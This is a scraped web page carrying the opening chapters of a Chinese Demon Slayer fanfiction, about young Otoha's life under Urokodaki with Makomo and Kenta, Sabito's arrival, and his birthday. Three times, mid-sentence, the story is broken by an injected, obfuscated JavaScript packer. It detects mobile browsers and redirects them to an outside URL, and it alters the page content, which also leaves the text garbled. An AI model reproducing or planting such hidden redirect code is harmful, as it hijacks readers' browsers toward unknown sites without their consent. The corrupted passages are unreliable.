《[鬼灭]水呼救场王太累了》 1. 狭雾山 轻柔的手摩挲着额头,鳞泷音叶费力地睁开眼睛,眼前是朦胧的侧影。 “醒了?”温柔的女声在耳边响起,微凉的指尖依旧贴在她额头上。见她醒来,真菰微微俯身凑上前来,墨色的发丝垂落在她脸庞。 音叶眨了眨眼,视线渐渐清晰。真菰的脸近在咫尺,湖蓝色的眼眸里倒映着她迷迷糊糊的模样。她点点头,撑起身子,被子滑落,又被真菰重新盖好,仔细地掖了掖被角。 一杯温水递到面前。音叶接过,小口小口地抿着,温热的水流润过干涩的喉咙,让她彻底清醒过来。 听那人说:“可算醒了,你昨晚开始发热,真菰发现你不舒服,和师父忙了一夜——” “健太。”真菰语气平静地打断他,眼神瞥过来。 被叫到名字的少年立刻顿住,堆起讨好的笑:“这不是没事了吗……我也不知道带她出去会染上感冒,早知道的话,她怎么求我都不答应。” 看见真菰眼神瞥过来,音叶下意识往被子里缩了缩。可惜没能躲成,真菰扯住被角,让她无处可逃。 僵持片刻,音叶放弃了,索性搂住真菰的腰往她怀里钻,棕色的脑袋拱啊拱的,试图通过撒娇让师姐消气。 “真菰姐姐,爷爷很少让我出门,我就是想让健太哥带我出去转转……是我自己不注意才生病的……你别怪健太哥了……” 真菰叹了口气,伸手搂住她的肩膀,语气软下来:“没事就好,你夜里突然发热,把我们吓坏了。师父隔一会儿就来看看你,健太也急得在廊下转来转去,差点把木地板踩出窟窿。” “我才没有!”健太涨红了脸反驳,却被真菰一个眼神制止。 窗外飘着雪,寒风簌簌。音叶往窗外望去,地面已经覆上一层不深不浅的雪霜,将整个狭雾山染成素白。树枝被积雪压弯了腰,偶尔有一小团雪从枝头滑落,悄无声息地坠入雪地里。 “爷爷呢?” “师父在给你煮药。算算时间也该好了,担心你的感冒一时半会儿好不了,天还没亮就去翻药材了。” 话音刚落,门被推开,带着些许寒气。鳞泷左近次端着一碗药进来,天狗面具依旧戴着,袖口和衣摆上还沾着几点融化的雪水。 见到音叶醒来,面具下传来温和的声音,带着明显的放松:“已经醒了?那就快来把药喝了吧。” 音叶脸色一僵,五官抗拒地皱成一团。那碗药还冒着热气,散发着她再熟悉不过的清苦味道——每次感冒都要喝这个,苦得舌根发麻,半天都散不去。 她企图做最后的挣扎:“爷爷,我已经不烧了,应该不需要喝了吧?” 鳞泷左近次摇了摇头,用最温柔的语气说着最令人心碎的话:“不行,音叶,就算现在不发烧了,还是要喝,这样才能好透,不会反复。” 健太笑着接过药碗,拍着胸脯保证:“师父、真菰,就交给我吧!有我在,小音叶一定会乖乖喝完的!” 音叶没给他面子,只往真菰身后躲,淡绿色的眸子眼巴巴地望着师姐。真菰笑眯眯地看着她,眼神却意外地坚定。 空气一时有些尴尬,真菰笑出了声,连鳞泷左近次面具下也隐约传来笑意。 音叶看看健太手里冒着热气的药碗,又瞟了一眼站在门边的爷爷,最后把目光落在真菰温柔却不容商量的脸上。她认命地叹了口气,接过碗,屏住呼吸,将汤药一饮而尽。 苦涩在舌尖炸开,她整张脸都皱了起来,伸出舌头拼命哈气。 健太笑着接过空碗,无视她的抗议把她搂进怀里,大手把她本就凌乱的棕发揉得更乱,一边揉还一边笑:“好孩子、好孩子,真乖!” 音叶挣扎着从他怀里逃出来,用手指顺了顺打结的头发,一言难尽地看着健太。 唉,有个总是傻乎乎、成天挂着笑容的师兄怎么办?显然她已经忘了,自己就是那个总跟在他屁股后面闹腾的小孩。 鳞泷音叶、真菰、山崎健太,都是鳞泷左近次的徒弟,与其说是徒弟,不如说是孩子。他们的亲人都被鬼所杀,被左近次救下后抚养长大。 与真菰和健太不同,音叶从婴孩时期起就一直跟着鳞泷左近次住在狭雾山。 从记事起,音叶就看着爷爷送走一批又一批陪伴她长大的哥哥姐姐。他们向她告别时,总是蹲下来摸摸她的头,笑着说“音叶要乖乖的哦”,然后背着行囊离开。 可是他们走后,再也没有回来。 她问起时,爷爷总是沉默许久,望着远处的山峦,告诉她,哥哥姐姐们去了很远很远的地方。 这个世界上真的有鬼,鳞泷左近次没有向她们隐瞒。有些孩子无法接受,选择离开狭雾山,左近次便准备足够的干粮送他们上路,从不勉强。 留下的孩子,像真菰和健太,鳞泷左近次便传授呼吸法,教他们与鬼搏斗的技巧。日复一日的挥剑、跑步、劈柴、在山林间躲避陷阱,每一天都过得充实而辛苦。 爷爷说,音叶年纪还小,学呼吸法太早,所以一直没教她,也很少让她出门。为了训练真菰和健太,山里布满了陷阱,稍不留神就会像昨晚那样重蹈覆辙。 音叶隐约记得健太提过,似乎明年春末,他和真菰就要参加什么最终选拔。她不太清楚那是什么,但从两人训练时越来越认真的神情里,她能感觉到那是一件很重要的事。 一声轻响,门已经被关上了。音叶回过神来,发现爷爷和健太已经不见踪影,大概是去准备训练了。 “好了,药也喝过了,再睡会儿吧。”真菰在她身边躺下,湖蓝色的眼睛温柔地看着她,眼底有淡淡的青痕,“为了照顾你,我可一夜都没怎么睡。” 微凉的身体钻进被子,真菰伸手搂住音叶,像记忆中模糊的母亲模样那样,轻轻拍着她的后背。 “快睡吧。” 迷糊中,音叶往身边的人靠近了些,嗅到真菰身上淡淡的香味。 雪停了,阳光透过薄雾斜斜穿过窗棂,在榻榻米上摊开一片暖黄的光影。窗外传来声响,音叶坐起来,发现身旁的被褥已经叠得整整齐齐,真菰早就不见了人影。 围炉里的薪柴噼啪作响,火光跳跃着。音叶把自己里三层外三层裹得严严实实,又套上一层棉和服,才推开门。 尽管捂得严实,出门还是被冷到了。积雪反射的阳光刺得她眯起眼,鼻子一酸,一个喷嚏打了出来。 动静引来院子里三个人的注意。 健太只穿了一层襦袢,袖子挽到手肘,额头上有细密的汗珠。听到喷嚏声,他放下手中的木剑就跑过来,草履踩过积雪,咯吱作响,甚至来不及穿上搭在栏杆上的羽织。 “小音叶,醒了?身体还好吗?有没有哪里不舒服?”他跑到她面前,弯下腰仔细打量她的脸色,黑色的瞳孔里满是关切。 音叶没回答,从他身后探出头,看见真菰和鳞泷左近次也放下手中的事望向这边。 她从栏杆上取过健太的羽织,踮起脚尖,努力举高手臂替他披上。健太愣了一下,随即弯下腰配合她,等她笨拙地把羽织搭上,自己才重新穿好。 等他自己穿好,音叶才慢吞吞开口。太阳升起,雪开始融化,比下雪时还冷,音叶每说一句话都带着白雾:“我好多了。倒是你们,这么冷还训练?” 健太挠着后脑勺,笑容有些不好意思:“是我自己想练,真菰和师父陪着我,有些剑式还没完全掌握……马上就要最终选拔了,总觉得自己还不够……” “不止健太,我也有问题没解决。”真菰走过来,伸手摸了摸音叶的额头,又探了探自己,满意地点点头,“烧确实退了,快进屋吧,感冒刚好,你总不想再喝药吧?” 听到药这个字,音叶肩膀一缩,想起早晨那碗苦得舌根发麻的汤药,连忙伸出舌头呸了一下,仿佛还能尝到那个味道。 三个人都被逗笑了。鳞泷左近次走过来,大手轻轻按了按音叶的头顶:“进屋吧,外面冷。” 音叶没再反抗,临走前回头对两人说:“我相信你们一定能通过选拔的!”然后便进屋坐在围炉前,托着腮看爷爷继续给两人训练。 透过窗户,她看见健太一次又一次地挥剑,呼出的白气在冷风中很快消散。雪地上满是杂乱的脚印,两人的身影交错分开,分开又交错。 音叶用柴火拨弄着燃烧的薪柴,火光映在她脸上,一明一暗,她轻轻地叹了口气。 什么时候我也能训练呢? 直到中午,训练才结束。鳞泷左近次去厨房准备午饭了,音叶看着真菰和健太走进屋,两人脸颊都红扑扑的,身上冒着热气。 健太一屁股坐在围炉边,把手伸向火焰边取暖,舒服地长出一口气,真菰则坐在音叶旁边,用袖子轻轻擦着额角的汗。 音叶托着腮看着他们,忽然开口:“什么时候我也能参加训练呢?” 正在烤火的健太不可思议地瞪大眼,黑色瞳孔衬得他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375022|200056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼睛更大了,模样有些滑稽:“怎么会有人想训练?” 他用过来人的语气教导她:“拜托,小音叶,你才八岁,应该好好珍惜这段时光。等你真的开始训练,你会后悔说这话的——每天天不亮就要起来跑步,挥剑挥到手都抬不起来,在山里躲陷阱躲到腿软……” “别听他瞎说。”真菰轻轻点了一下健太的额头,被点的人立刻大叫一声,夸张地捂住额头往后躲。 真菰没理他,伸手将音叶的头发捋顺,动作轻柔得让音叶舒服地眯了眯眼,把头靠在她肩膀上:“训练没有那么吓人,但确实很辛苦,要好好长大才行呀,小音叶。” “真菰说得没错,要好好长大!”健太又凑过来,伸手想揉音叶的头,被她灵巧地躲开了。 不久,鳞泷左近次端着一锅热气腾腾的菜肴过来。锅里的汤汁咕嘟作响,豆腐、牛蒡、各种蔬菜和肉片在锅里翻滚,诱人的香味瞬间弥漫整个房间。 “是寿喜烧!”健太和音叶同时喊道,眼睛都亮了。 自从健太偷偷带音叶去过一次镇上、在餐馆里吃过一次寿喜烧后,她就对这道料理念念不忘。鳞泷左近次后来专门去镇上请教了做法,时不时会做给他们吃。 “快吃吧,下午还要训练。”鳞泷左近次把锅放在围炉上,又端来一碟打散的鸡蛋。 “我开动了!” 几人同时动筷,音叶夹起一片肉,熟练地在蛋液里裹一圈,送进嘴里。肉片在舌尖融化,微微一嚼,吸饱了汤汁的油脂香气在口中蔓延开来,她满足地眯起眼,脸颊都鼓了起来。 “爷爷做得太好吃了!”她咽下去,又夹了一筷子豆腐,“等我开始训练的时候,能天天吃到吗?” “你天天吃不腻吗?”健太嘴里塞满了食物,含糊不清地说,“好歹换换花样吧,会吃穷师父的!” “健太,”真菰慢条斯理地开口,“你碗里的肉比音叶多三片。” 健太立刻低头看自己的碗,心虚地缩了缩脖子。 “而且,”真菰继续说,“上个月你偷吃师父腌的梅子,一罐都空了,师父也没说你什么。” “那、那不是因为训练太累了嘛……”健太的声音越来越小。 鳞泷左近次面具下传来轻轻的笑声,给音叶碗里又添了一片肉:“慢慢吃,还有很多。” 屋子里一片欢声笑语,夹杂着音叶和健太的拌嘴声,还有真菰温柔却一针见血的吐槽。窗外的雪已经完全停了,阳光洒在雪地上,反射出柔和的光。 一顿饭很快就吃完了,音叶摸着微微鼓起的小肚子,心满意足地打了个嗝。 下午还有训练,音叶感冒没好透,不想再喝那苦得舌根发麻的药,只能继续坐在围炉边,透过窗户看真菰和健太练习。 阳光把雪地照得亮晶晶的,两人的影子在地上拉得很长。 她一边看,一边在心里暗暗期待自己快快长大,能够追上他们的脚步。 日子一天天过去,冬天最冷的时候就要过去了。音叶每天都在看两人练习、尝试加入练习、最后被爷爷拎着衣领扔回屋里——如此反复,乐此不疲。 终于熬到一个休息日。 难得的清闲夜晚,吃过晚饭,真菰拿出一些草绳和布料,说要教音叶编草鞋。音叶眼睛一亮,立刻凑过去,认认真真地跟着学起来。 “给爷爷编一双,他每天走来走去,草鞋容易坏。”音叶笨拙地学着真菰的动作,小脸上满是认真。 真菰笑了笑,手把手地教她怎么编才结实,怎么收边才好看。 屋子里暖融融的,围炉的火光映在两人脸上。健太在旁边看着,时不时出言指点两句,虽然他自己根本不会编。 而另一边的房间里,鳞泷左近次正与突然出现的乌鸦说着什么。那只乌鸦浑身漆黑,但是却能够与人交谈,很是不同寻常。 片刻后,鳞泷左近次拿起剑,准备下山。临走前拉开房门,对三个孩子叮嘱:“我要下山一趟,今晚可能不回来,你们关好门窗,不管听到什么声音都不要开门。” 三人齐声答应。 门关上后,脚步声渐渐远去。 音叶继续埋头编草鞋,虽然编得歪歪扭扭的,但她很满意,真菰在旁边看着,时不时指点一下,健太已经靠着墙打起了瞌睡。 夜已经深了。 第二天一早,当音叶醒来,看见鳞泷左近次回来了,带来一个与她年纪相仿的男孩。 2. 锖兔 音叶是被摇醒的。 意识还没完全清醒,身体已经被晃动得东倒西歪。她迷迷瞪瞪地睁开眼,看见一脸懵、显然也是刚被健太从被窝里薅起来的真菰,两人对视一眼,都从对方眼里看到了同样的迷茫。 音叶瞥了一眼窗外,天还黑着,月亮都还没落下去。她翻了个身,把被子往头上一蒙,含糊不清地嘟囔:“天都没亮呢……让我再睡会儿……” “别睡了!”健太一把掀开她的被子,压低声音却掩不住兴奋,“师父刚才让鎹鸦传话,说他马上回来,还要带一个男孩!” 音叶腾地坐起来,瞌睡虫瞬间跑得干干净净。她愣了半秒,然后跳起来拉着真菰就往洗漱间跑,动作之快把健太都吓了一跳。 冬天还没彻底过去,天才刚蒙蒙亮,山间万籁俱寂,风从山谷中卷过来,带着未散的寒气在林间游荡。音叶穿好衣服,拉着真菰往门外走,健太已经站在门口了,正使劲往山路上张望。 这不是鳞泷音叶第一次迎接“新朋友”。根据以往的经验,这一次应该也会像往常一样——黎明破晓时,离家一夜的爷爷会牵着一个脏兮兮的孩子,踏着晨雾出现在山路尽头。 真菰是这样来的,健太也是这样。还有那些很久没回来过的哥哥姐姐们,也是这样走进她的生活。 凌冽的风呼啸而过,不远处传来沉稳的脚步声,一下一下,踏在积雪未消的山路上。 三个孩子不约而同地挺直了背。 然后他们看到了鳞泷左近次——还有他怀里抱着的人。 笑容凝固在脸上。 那是一个浑身是伤、气息微弱的男孩。淡橘色的头发被血污黏成一缕一缕,衣服已经看不出原来的颜色,破破烂烂地贴在身上。他的脸白得吓人,饶是音叶已经凑得很近,也只能听见若有若无的呼吸声。 音叶站在最前面,小小的眉头紧紧皱起,淡绿色的眸子里满是心疼与不安。 鳞泷左近次一言不发,抱着男孩径直往屋里走。三个孩子跟在后面,谁也不敢出声,就连总是傻乎乎挂着笑的健太,此刻也绷紧了脸,嘴唇抿成一条线。 直到走进屋里,三人才手忙脚乱地动起来。音叶把榻榻米上的被子三下两下卷到一边,腾出位置让爷爷把男孩平稳地放下。 真菰转身就往厨房跑,去取师父常备的草药。健太被吩咐下山,去猎户家里借些更管用的伤药,他二话不说,抓过羽织就冲出门去。 “爷爷……”音叶拽住左近次的衣角,仰起头,声音轻得像怕惊扰什么,“他会没事吗?” 左近次沉默了一会儿,低头看着昏迷不醒的男孩。火光映在他的面具上,明灭不定。 “他会没事的。”老人的声音低沉而笃定,“我带他回来得及时,伤都不致命。已经处理过了,应该很快就会醒。”他顿了顿,语气里终于透出一丝疲惫与愧疚,“只是……没能救下他的父亲。” 音叶没有说话。她抱住面前的人,小小的手臂环住鳞泷左近次,把脸埋进他的衣服里。 老人轻轻拍着她的后背,一下又一下。 淡橘色头发的男孩还没有醒来,但日子还要继续过。 音叶从小在狭雾山跟着爷爷长大,大伤小伤见过不少,有时候爷爷忙不过来,她也能搭把手。 小小年纪,照顾伤者已经像模像样。所以左近次放心地带着真菰和健太在不远处进行呼吸法练习,将照顾这个昏睡不醒的男孩的任务交给了音叶。 照顾伤者对于音叶来说不算难事,更何况是一个看起来并没有比她大多少、一直安安静静昏睡着的孩子。她每隔几个时辰就给他换一次药,避开伤口小心翼翼地擦拭身体。 男孩身边离不了人,音叶就索性坐在屋子里。有时观察一下他的脸色,探探他的呼吸,确认没有恶化的迹象,有时看着不远处训练的两人发呆,目光追着真菰轻盈的身影和健太笨拙的挥剑。更多的时候则是百无聊赖,就对着昏迷不醒的男孩碎碎念。 “你可真能睡啊……”她托着腮,戳了戳男孩露在外面的手指,“都睡了两天了,再不醒的话,我就要给你起外号了。” “叫什么呢……睡神?瞌睡虫?” “唔,还是等你醒了再说吧,不过你要是再不醒,我就选最难听的那个。” 不知道是不是被她的碎碎念烦得受不了,男孩终于在第三天上午睁开了眼睛。 锖兔再次睁开眼时,天已经完全亮了。映入眼帘的是陌生的天花板、窗户、房间,这一切都和他记忆中的家不一样。 记忆如潮水般涌来。 父亲倒在血泊里的样子。父亲明明受了那么重的伤,却用惊人的毅力支撑着,朝他伸出手,嘴唇艰难地一张一合。 他跪下去,把脸贴上父亲逐渐冰凉的手掌,温热的血液还在一滴一滴落在他的脸上。嗡鸣声在脑中炸开,他听见了—— 活下去,锖兔。 像个男子汉一样,坚强地活下去,锖兔。 在彻底陷入黑暗之前,他看见一道剑光闪过,最后被一个温暖的怀抱包围。 好温暖……已经感觉不到寒冷了…… 就在他想要放任自己再次沉入黑暗时,一道清亮的声音把他拉了回来:“啊,你醒啦!有没有哪里不舒服?” 锖兔眨了眨眼,看见一个棕发绿眸的女孩正凑在他面前,脸上带着惊喜。 女孩把他扶起来坐好,确认他没有大碍后,转头就朝门外喊:“爷爷——真菰——健太——” “他醒了——” 声音又脆又响,像山雀似的。 没多久,门外走进来几个人,锖兔还记得为首的老人,是那个救了他的人。老人身后跟着一男一女,年岁看起来比他稍大一些。 身边的女孩还在絮絮叨叨:“你可终于醒了!你知道你睡了好几天吗?爷爷把你抱回来的时候,你浑身都是血,可把我们吓坏了……” “音叶。” 带着天狗面具的老人叫了她的名字,语气温和却带着制止。 女孩乖乖闭上嘴。 老人转向锖兔,沉默片刻,缓缓开口:“抱歉,没能救下你的父亲。” 锖兔摇了摇头。他脸上落着一道长疤,从耳后一直延伸到嘴角,纱布还没有拆下来。 他没有像其他被救的孩子那样情绪崩溃,尽管身上的伤还隐隐作痛,他却郑重地低下头,对左近次说:“杀死我父亲的是那个怪物,您救了我,我感激不尽。” 是个很坚强的人呢,音叶想。 鳞泷左近次摆了摆手,并不打算接受这份感谢。 “这段时间你先住在这里,把伤养好再说。”他停顿了一下,把身边的女孩往前轻轻一推,“她叫鳞泷音叶,是我的孩子。那边的真菰、山崎健太,也都是我的孩子。” 被点到名字的两人朝锖兔点了点头,算是打了招呼。 锖兔有许多想问的事,但都被他一一按下。他只是认真地看着面前这几张陌生的面孔,点了点头:“你们好,我是锖兔。” 真菰和健太每天忙于训练,几乎没什么时间与锖兔交谈。大家一起陪着锖兔下山安葬父亲之后,他们就又投入到日复一日的挥剑和奔跑中。反倒是鳞泷音叶,几乎每天都陪在他身边。 起初,锖兔还需要拄着拐杖才能站起来。但这个年纪的孩子恢复能力惊人,没过多久他就能摆脱拐杖自己行走了。 ——虽然音叶看见他摔倒过好几次,每次都假装没看见,等他爬起来再继续往前走。 等到锖兔的伤好得差不多时,初春在不知不觉中到来了。山上的雾气比冬天薄了些,后山的树枝上还没有萌发新芽,但通往瀑布的小路上已经有野菜冒了尖。夜晚的星星比冬日更亮,山与山并肩而立,形成一道天然的天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375023|200056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 河,星星们卧在天河里,忽明忽灭。 那天晚上,真菰他们还没回来。音叶坐在院子里的木墩上,双手环抱着腿,仰头看星星。锖兔在她身边坐下,她偏头看了他一眼,往旁边挪了挪,给他让出位置。 音叶叹了口气:“距离藤袭山选拔的日子越来越近了。” 锖兔顺着她的目光看向夜空:“这个选拔是干什么的?” 音叶有些惊讶地转头看他:“爷爷没告诉你吗?” 她转念一想,锖兔是昏迷时被带回来的,醒来之后爷爷又忙着训练真菰和健太,估计他到现在只知道那个怪物是鬼,其他的一概不知。 于是她把自己知道的一股脑倒了出来:“爷爷是培育师,为一个杀鬼的组织培养剑士,叫什么……鬼杀队?真菰、健太,还有之前爷爷送走的哥哥姐姐,他们都是家人被鬼杀害,自愿加入的。” 说到这里,女孩有些不满地皱了皱鼻子,语气里带着小小的怨念:“这个组织太忙了!爷爷说他们离得太远,之前的哥哥姐姐们一个都没有回来过……也不知道他们有没有忘记我……” 她说完,突然觉得锖兔的眼睛似乎亮了一下? 没等她想明白,就听见他问:“那我可以参加吗?” “可以是可以……”音叶歪了歪头,“但是你不知道你年纪够不够,你现在多大了?” “九岁。” “那可能不行,爷爷一般只带十岁以上的孩子,估计要等到十岁才行。” “我可以等!”锖兔的眼睛更亮了。 音叶被他的情绪感染,也笑了起来:“那我们到时候可以一起训练,还能比一比谁更厉害……” 两个不到十岁的孩子,在没经过师父同意的情况下,就这样做好了以后一起训练的约定。 伤彻底养好后,锖兔在音叶的鼓励下找到了鳞泷左近次,郑重地提出了拜师的请求。带着天狗面具的老人听完他的话,思索片刻便点了头。 只是年龄确实不够,锖兔还是得和音叶一样,等到十岁之后才能正式开始训练。 不过这不影响两个孩子整天凑在一起。 经过这段时间的相处,鳞泷音叶对锖兔这个伙伴非常满意:他们年龄相仿,兴趣相投,最重要的是——两个人都喜欢偷偷混进真菰和健太的训练中企图偷师。 虽然结果每次都是被爷爷拽着衣领扔回屋子里。 或者说,锖兔的胆子比她更大一些。 混熟之后,他就怂恿音叶一起偷看鳞泷师父摘下面具后的样子。音叶觉得有些奇怪,因为她见过爷爷的脸,那是一张很温柔的脸,完全不需要偷偷摸摸地看。 但锖兔的好奇心就像春天疯长的野草,怎么都压不下去。于是两个人策划了一次又一次的偷窥行动。 至今为止,没有一次成功过。 两个孩子总有说不完的话。相熟之后,锖兔几乎把家底都翻出来告诉音叶。 明治维新后建立了近代户籍制度,强制推行全民使用姓氏,但普及并不完善。锖兔就是其中之一,真菰大概也是。 锖兔告诉音叶,母亲很早就去世了,是父亲一个人把他拉扯大的。父亲走后,他收拾出父亲常穿的那件甲龟纹羽织,当作里衣穿在身上,好像父亲还陪在他身边一样。 他会一直记得父亲临死前说的那句话。 要做个坚强的男子汉,哪怕只是一个人,也要堂堂正正地活下去。 说到这话的时候,音叶突然伸出手,抱住了他。 她把头埋在锖兔的肩膀上,声音闷闷的,却很认真:“你现在不是一个人了。有我,有爷爷,还有真菰和健太——我们都是你的家人。” 锖兔愣了一下。 然后他缓缓地伸出手,回抱住音叶。 “嗯,”他把下巴搁在她头顶,声音轻轻的,却带着笑,“我们都是一家人。” 3. 生日 音叶从没看到过锖兔的眼泪。 从左近次第一次带他来狭雾山至今已经有小半年,就连爷爷提起他父亲的死亡,锖兔也是强忍住悲伤,体面地向爷爷道谢。 所以在锖兔说完这句话时,鳞泷音叶看到他湿润的眼角,才会突然愣住。 锖兔平时表现很坚强,以至于她时常也会忘记,锖兔不过是个年岁没比她大到哪儿去的孩子罢了。 她有些无措,又不想对锖兔表现出脆弱的样子视若无睹,只好用拽起袖子的一角轻轻擦掉男孩脸上的眼泪。 “会好起来的。” 淡橘色头发的男孩身形清瘦,似乎比刚来到狭雾山时长高了些。右脸上蔓延到嘴角的疤已经经历过结痂蜕皮,只留下了淡淡的、与恶鬼抗争过的象征。 锖兔…真的像他父亲所希望的那样,变成了很坚强的小男子汉啊。 日子过得很快,随着狭雾山上的万物复苏一同到来的,还有锖兔的生日。 在那之前,让音叶更为烦恼的是,该给锖兔过一个什么样的生日呢?于是,她便挑着时间避开锖兔与大家商量着,幸运的是,不久后爷爷会下山采买生活用品,到时音叶可以一同前往,看看有什么可以给锖兔买的。 音叶没有足够多的钱,又不想花爷爷的钱给锖兔买东西,这太没心意了。 这个问题缠绕了女孩很久很久。 女孩躺在院子里的木头上,这个超大的木墩已经被太阳晒得暖烘烘的了。音叶趴在木墩上,下巴抵着树皮,看蚂蚁排着队从裂缝里爬过去。 阳光从头顶的柿子树叶子缝隙漏下来,一块一块地落在音叶的和服上。远处有山鸠不停地在叫,咕咕咕的。溪水的声音比冬天近了一些,水流得比前几个月更急,但听着不吵,反而让人想睡觉。 锖兔在劈柴。他总说爷爷很辛苦,既要训练真菰和健太,又要照顾他们两个。音叶觉得他说得没错,想要上前帮忙,却被锖兔赶了回来。 这是男子汉应该做的,锖兔说。 好无聊啊—— 斧头举起来,落下去,木头裂成两半,锖兔把裂开的木头扔到柴堆上,又拿起一块。动作大开大合,丝毫看不出曾经受过重伤的影子。 音叶转回头,继续趴着。 再过一阵子就是他的生日了,音叶还是没想好要送他什么。爷爷说,只有满十岁的孩子才能开始学剑术。锖兔就要十岁了,等他过了生日,爷爷就会开始教他,每天挥刀、练呼吸、学那些很厉害的东西,她却还要再等半年。 太阳晒得音叶有些昏昏欲睡,她眯着眼睛,手在木头缝里摸来摸去,摸到一小块碎木头——拇指大小,扁扁的,大概是看下来当作木墩前树上自己带的。 音叶掏出来,举到眼前看了看。 木头的颜色很浅,是那种快烂没烂的灰白色,它躲在角落里一直没能被太阳晒到,摸起来有些潮湿。音叶攥着它,脑子里突然冒出一个念头——可以雕个东西给他。 爷爷的手很巧,音叶之前见过他给许久不回家的哥哥姐姐雕面具。送他们离家的前一晚,每个人都会收到根据自身特点做的小狐狸面具。 狐狸面具是辟邪的,她记得爷爷说过。 事实上,音叶只看过爷爷做,从没有自己上手做过,但她想试试看。 雕什么呢? 送什么想好了,但是礼物的形状呢?不要是面具,面具是爷爷给哥哥姐姐们做的,锖兔以后会收到爷爷做的狐狸面具的。 音叶翻了个身,改成仰躺,把那块碎木头举在眼睛上面,对着太阳照。阳光从木头边缘透过来,一圈毛茸茸的光。 雕兔子吧。 他叫锖兔,名字里有兔子。他也像兔子一样活泼好动,来狭雾山这短短半年,他已经彻彻底底把狭雾山当作自己的家了。 音叶想象了一下雕出来的样子——两只耳朵竖着,圆圆的脑袋,看起来很可爱。她想得很清楚,但也知道雕出来跟想象中肯定不是一回事。 音叶翻了个身趴着,微眯着眼,有些春困。 回头去请教一下爷爷怎么雕吧,木材什么的狭雾山到处都是,回头再仔细挑好了。 院子那边的劈柴声停了。音叶听见脚步声,咯吱咯吱踩着碎石子,越来越近。然后头顶一暗,锖兔站在音叶旁边,将影子挡得严严实实的。 “趴在这儿干嘛?” 音叶眨眨眼:“晒太阳。” 过了一会儿,他蹲下来,视线与音叶其平。春天午后的阳光把他半边脸照得发亮,眼睛眯着,倒有点像是大人模样了。 “要睡回屋去睡,当心生病。” 音叶额头被弹了一下,顿时把锖兔像个大人的想法弹出脑袋。其实锖兔弹得并不重,但是她皮肤薄,轻轻一弹额头就泛起一阵红。 兔子,音叶决定了。就雕兔子,不仅要雕兔子,还要想方设法去抓兔子,回来处理干净,烤兔子肉吃。 也不管雕得像不像了,反正锖兔从没见过她雕东西,雕成什么样他也不知道是什么动物,她说兔子就是兔子,说狗就是狗,反正都是他。 …… 锖兔发现鳞泷音叶最近不对劲。 具体要说是什么不对劲——似乎在躲着他,却又不像躲,因为音叶有时候还是会笑眯眯地跟他一起玩。但是要说没躲吧,连健太都看出了不对劲,偷偷问过锖兔他俩怎么了,真菰则是在旁边一脸无语。 锖兔说不上来,就是突然有一天,鳞泷音叶不再在院子里晒太阳的时候喊他一起了,吃饭的时候也是囫囵两下吃完就跑,也不馋鳞泷师父的手艺了。 “师父,你知道音叶最近在干嘛吗?她最近好不对劲。”锖兔终于忍不住开口问。 鳞泷左近次正在做一个木雕,师父的手艺很好,爱雕一些小玩意他也是知道的。左近次头也没抬:“不知道。” “我是不是做错什么事惹她生气了?” “这你得自己去问她。” “肯定有什么。”锖兔想不明白。 师父让他去溪边打水,他回来的时候特意绕了一圈,想看看音叶到底在干什么。 结果远远就看见音叶蹲在屋后的老树底下,低着头,手里不知道在摆弄什么。他想走近点,刚踩到一根枯枝,发出一点声音,音叶就噌一下就站起来,脸颊鼓鼓的,绿色的眼眸盯着锖兔:“你干嘛!” 像只护食的小狗,锖兔不合时宜地想。 “我就路过啊。” “那你走路怎么没声音!” “我有声音啊,是你没听见。” 鳞泷音叶嘴一抿,转身就跑,手还背在身后,攥着个东西,他什么都没看清。 锖兔站在原地,匪夷所思,但确定了音叶有什么事情瞒着他。 接下来的几天让锖兔更加确定了这个想法。 音叶依然在院子里晒太阳,但晒的是屋后那一小片,也不躺那根大大的木墩了。他喊音叶吃饭,音叶端着碗坐在最里面,好像要吃两口就回到房间里。 锖兔对健太示意了一下。 健太收到锖兔的眼神,问她:“小音叶,你最近在做什么?” “没干什么啊。”音叶接着扒着碗里的饭,脸上还粘了几粒米,被真菰用手帕擦掉了。 真菰带着笑意看着锖兔。 …锖兔更加确定是不是最近哪里惹音叶不开心了。但他想破了脑袋也想不出来自己到底哪儿得罪音叶了。 直到那天晚上,因为还没满年龄,鳞泷左近次只让锖兔做一些基础的体能训练,但他依然满头大汗,肚子更是饿得咕咕叫唤,一推开门,就闻到一股香味。 鳞泷左近次站在灶台边上,正往碗里捞面。长长的,白白的,弯弯曲曲堆成一碗,上面卧着一个荷包蛋,几根青菜,还淋了香油。 锖兔愣住了。 “师父,今天是什么日子?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375024|200056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >左近次把碗放到他面前,以往听不出情绪的声音里带着笑意:“你猜。” 锖兔盯着那碗面,盯了半天,突然反应过来:“今天…我生日?” “嗯。” 